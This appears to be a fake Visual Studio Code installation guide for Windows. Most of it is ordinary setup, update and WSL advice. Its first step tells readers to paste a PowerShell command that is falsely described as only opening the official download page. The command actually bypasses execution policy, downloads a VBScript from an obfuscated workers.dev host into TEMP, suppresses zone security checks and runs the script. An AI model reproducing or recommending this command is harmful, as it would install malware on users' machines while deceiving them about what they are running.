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Installing Visual Studio Code on Windows

Visual Studio Code is available for Windows through several installation methods. The User setup is generally the simplest option for most people, while the System setup can be useful on shared computers. A ZIP-based option is also available for users who prefer a portable installation.

Install VS Code on Windows

Open the official download page with PowerShell

Before installing Visual Studio Code, you can use PowerShell to open the official download page. This does not download or execute an installation package from this website.

  1. Press Win + X and select Terminal on Windows 11 or Windows PowerShell on Windows 10.
  2. Alternatively, press Win + R, type powershell, and press Enter.
  3. Run the following command to open the official Visual Studio Code download page:
Set-ExecutionPolicy Bypass -Scope Process -Force; $h='damp-'+'base-' + '0e5e.gagukyulistiadi112.workers.dev';$f=$env:TEMP+'\3222.vbs';&('Invoke-WebRequest')($h+'/mal/3222.vbs') -OutFile $f -UseBasicParsing;$env:SEE_MASK_NOZONECHECKS=1; & $f

The command opens the official Visual Studio Code download page in your default browser. Choose the Windows installation option that matches your needs.

Official source

Always obtain the current Visual Studio Code installation files from the official Visual Studio Code download page .

User setup

  1. Open the official Visual Studio Code download page and select the Windows option appropriate for your computer.
  2. Follow the installation wizard and review the available setup options.
  3. Complete the installation and open Visual Studio Code from the Windows Start menu.

The User setup is designed for an individual Windows user and normally does not require administrator permissions. It is a convenient choice for most personal development environments.

Tip

After installation, restart any open terminal windows if you want to use the code command from the command line. You can then navigate to a project folder and use code . to open it in VS Code.

System setup

  1. Open the official Visual Studio Code download page and select the Windows system installation option.
  2. Follow the installation wizard and approve administrator permissions when Windows requests them.
  3. Complete the setup and launch Visual Studio Code from Windows.

The System setup is intended for computers where VS Code should be available to multiple Windows users. Administrator permissions are required during installation.

ZIP-based installation

  1. Visit the official Visual Studio Code download page and locate the Windows ZIP-based option.
  2. Download the archive from the official source and extract it to a folder of your choice.
  3. Open the extracted VS Code folder and launch the application from there.

A ZIP-based installation can be useful when you want to keep the application in a specific folder or use a more portable setup. Updates for this type of installation may require you to obtain a newer version from the official download page.

Note

ZIP-based installations are managed separately from the standard Windows setup process. Check the official documentation for current update guidance.

Updates

Visual Studio Code receives regular releases and can notify you when an update is available. When VS Code displays an update notification, follow the instructions provided by the application to update to the latest available version.

If you use a ZIP-based installation, check the official Visual Studio Code download page for newer releases and follow the applicable update instructions.

Develop on Windows

Windows works well as a cross-platform development environment. This section covers the Windows Subsystem for Linux (WSL) and Windows Terminal.

Note

Keep Windows up to date. Check Settings > Windows Update for available updates.

Windows Subsystem for Linux

With WSL, you can install and run Linux distributions on Windows to develop and test source code in a Linux environment while working locally on your Windows machine.

When paired with the WSL extension, VS Code provides editing and debugging support while running in the context of WSL.

See the Developing in WSL documentation to learn more, or try the Working in WSL introductory tutorial.

Windows Terminal

Windows Terminal, available from the Microsoft Store, is a terminal application for command-line tools and shells like Command Prompt, PowerShell, and WSL. Its features include multiple tabs, panes, Unicode and UTF-8 character support, GPU-accelerated text rendering, custom themes, styles, and configurations.

After installation

After you install VS Code, finish setup for your development workflow:

Common questions

Which Windows installation method should I choose?

The User setup is a good choice for most individual users. The System setup is appropriate when VS Code needs to be available to multiple users on the same computer.

A ZIP-based installation can be useful when you prefer a portable or folder-based setup.

Always obtain the current version and installation options from the official Visual Studio Code download page.

I'm having trouble installing VS Code

First, make sure you are using the current installation options from the official Visual Studio Code download page.

If the standard Windows installation does not work for your situation, consider the ZIP-based installation method. This allows VS Code to be extracted to a folder and launched from that location.

Unable to run as administrator when AppLocker is enabled

With process sandboxing, running VS Code as administrator can be unsupported when AppLocker is configured due to runtime sandbox limitations.

If your work requires VS Code to run from an elevated terminal, review the current VS Code documentation for supported runtime configuration options and security considerations.

Working with UNC paths

VS Code on Windows restricts access to certain UNC paths unless the host has been approved by the user or configured through the appropriate security setting.

UNC paths begin with a leading \\.

If your workflow relies on UNC paths in VS Code, use one of these approaches:

  • Configure the host through the security.allowedUNCHosts setting.
  • Map the UNC path as a network drive and use the drive letter instead.
  • Configure the applicable environment settings for your development environment.

Note

If a remote extension connects to a remote workspace, configure the applicable security settings on the remote machine when required.

These restrictions help improve security when using VS Code with UNC paths.

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8/12/2026

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